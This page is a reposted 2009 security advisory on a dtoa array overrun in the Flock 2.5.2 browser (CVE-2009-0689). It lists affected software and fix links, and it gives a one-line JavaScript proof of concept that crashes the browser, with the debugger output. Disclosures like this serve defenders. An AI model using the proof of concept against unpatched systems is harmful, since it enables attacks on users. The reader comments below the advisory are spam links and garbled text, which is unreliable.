Home » 2009 » December » 12 » Flock 2.5.2 Remote Array Overrun (Arbitrary code execution)
17.22.15
Flock 2.5.2 Remote Array Overrun (Arbitrary code execution)
Hash: SHA1

[ Flock 2.5.2 Remote Array Overrun (Arbitrary code execution) ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:
- - Dis.: 07.05.2009
- - Pub.: 11.12.2009

CVE: CVE-2009-0689
CWE: CWE-119
Risk: High
Remote: Yes

Affected Software:
- - Flock 2.5.2

Fixed in:
- - Flock 2.5.5

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/75


- --- 0.Description ---
Flock is a web browser built on Mozilla.s Firefox codebase that specializes in providing social networking and Web 2.0 facilities built into its user interface. Flock v2.5 was officially released on May 19, 2009.

The Flock browser is available as a free download, and supports Microsoft Windows, Mac OS X, and Linux platforms.


- --- 1. Flock 2.5.2 Remote Array Overrun (Arbitrary code execution) ---
The main problem exist in dtoa implementation. Flock has the same dtoa as Firefox, SeaMonkey, Chrome, Opera etc.
and it is the same like SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and
it is possible to call 16<= elements of freelist array.


- --- 2. Proof of Concept  (PoC) ---
- -----------------------
<script>
var a=0.;
</script>
- -----------------------

Program received signal SIGSEGV, Segmentation fault.
0x67c68740 in js3250!JS_DHashTableEnumerate ()
  from C:\Program Files\Flock\js3250.dll
(gdb) i r
eax            0x964619c7       -1773790777
ecx            0x2      2
edx            0x2      2
ebx            0x2      2
esp            0x20e7f0 0x20e7f0
ebp            0x1      0x1
esi            0x299d700        43636480
edi            0x299d701        43636481
eip            0x67c68740       0x67c68740 <js3250!JS_
DHashTableEnumerate+288>
eflags         0x210202 [ IF RF ID ]
cs             0x1b     27
ss             0x23     35
ds             0x23     35
Es             0x23     35
fs             0x3b     59
gs             0x0      0

(gdb) x/i 0x67c68740
0x67c68740 <js3250!JS_DHashTableEnumerate+288>:
   mov    0x67ce0458(,%edi,4),%eax
(gdb) x/x $eax
0x964619c7:     Cannot access memory at address 0x964619c7


- --- 3. SecurityReason Note ---
Officialy SREASONRES:20090625 has been detected in:
- - OpenBSD
- - NetBSD
- - FreeBSD
- - MacOSX
- - Google Chrome
- - Mozilla Firefox
- - Mozilla Seamonkey
- - Mozilla Thunderbird
- - Mozilla Sunbird
- - Mozilla Camino
- - KDE (example: konqueror)
- - Opera
- - K-Meleon
- - F-Lock

This list is not yet closed.


- --- 4. Fix ---
NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c


- --- 5. Credits ---
Discovered by sp3x and Maksymilian Arciemowicz from SecurityReason.com.


- --- 6. Greets ---
Infospec p_e_a pi3


- --- 7. Contact ---
Email:
- - cxib {a.t] securityreason [d0t} com
- - sp3x {a.t] securityreason [d0t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
- - http://securityreason.com/key/sp3x.gpg

http://securityreason.com/
http://securityreason.pl/

-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAksheuIACgkQpiCeOKaYa9a6kgCgkup7jH12XriVRt9ANPevyghu
9uwAoNwchC9esCuYpxHrWRPtkD77VYkg
=zyvz
-----END PGP SIGNATURE-----
Views: 12814 | Added by: b1zz4rd | Rating: 0.0/0
Total comments: 4
4 wideilliNna  
0
OyzIogWf http://www.i-oakley.com/ - オークリー ゴルフ MjxBanEz http://www.i-oakley.com/ HdzPbeNc http://www.monclerzone.com/ - モンクレー ダウン FjdZjqRe http://www.monclerzone.com/ VgbZjgAq http://www.bootstojapan.com/ - アグ オーストラリア メンズ UjxVilPe http://www.bootstojapan.com/ OilZrwBt http://www.beloveboots.com/ - UGG ムートンブーツ MofJqcVg http://www.beloveboots.com/ FszPodBl http://www.boots-senmonten.com/ - アグ ムートンブーツ IhsJkpYg http://www.boots-senmonten.com/ OhcOgbJx

3 unfofFurO  
0
How do you teach history in your countries

2 agonseInsogma  
0
Homing in on Can easily Pouch expert services won't be rigid. There's lots of smart styles available to us to pick out from. Individuals will change ones own ladies handbag structure with each other events together with local weather flip. Even though many consumers possibly will kitchen area updated the companies current wardrobe frequently, friends contains some belongings to be had use these kinds of on the occasions nor succeed.It is possible to reserves where best you totes and thus backpacks. These kinds sources usually provide a rapid wide variety of in colors and styles. Someone might find they've much designer labels furnished nor can not get an individual who that they like. Dept dealers furthermore , take on shopping bags, and in some cases costumes boutiques and then leather-based websites. An important visitor can sometimes take their chosen websites until eventually finally these types of people seek a handbags that people akin to.

http://www.lv-japan.net/ ヴィトンバッグ
http://www.lv-japan.net/ ルイビトン 財布
http://www.lv-japan.net/ ルイヴィトン
ルイヴィトン: http://www.lv-japan.net/

1 agonseInsogma  
0
Discovering Woman's Totes companies most likely is not complicated. There are thousands of smart different versions in the stores one could use. Keep in mind that can change tote method with each upcoming times and after that conditions renew. Handy folks potential clients might possibly improve the companies attire unfortunately, others still contain a little backpacks to hand and employ these pc event probably deliver the results. reserves that most effective deal in designer bags additionally shopping bags. These kinds hot spots offers a fast range of within colors and styles. A buyer could find they are most notably the producers promoted and also may possibly not discover an individual which that like. Distribution boutiques simultaneously often carry purses, or even just swimsuit dealers in addition to the wash rag electric outlets. An absolute visitor may very well give some thought to a bunch of their fave holds to the point companies use a bag that favor.

http://www.lv-japan.net/ ヴィトンバッグ
http://www.lv-japan.net/ ルイビトン 財布
http://www.lv-japan.net/ ルイヴィトン
ルイヴィトン: http://www.lv-japan.net/

Name *:
Email *:
Code *:
close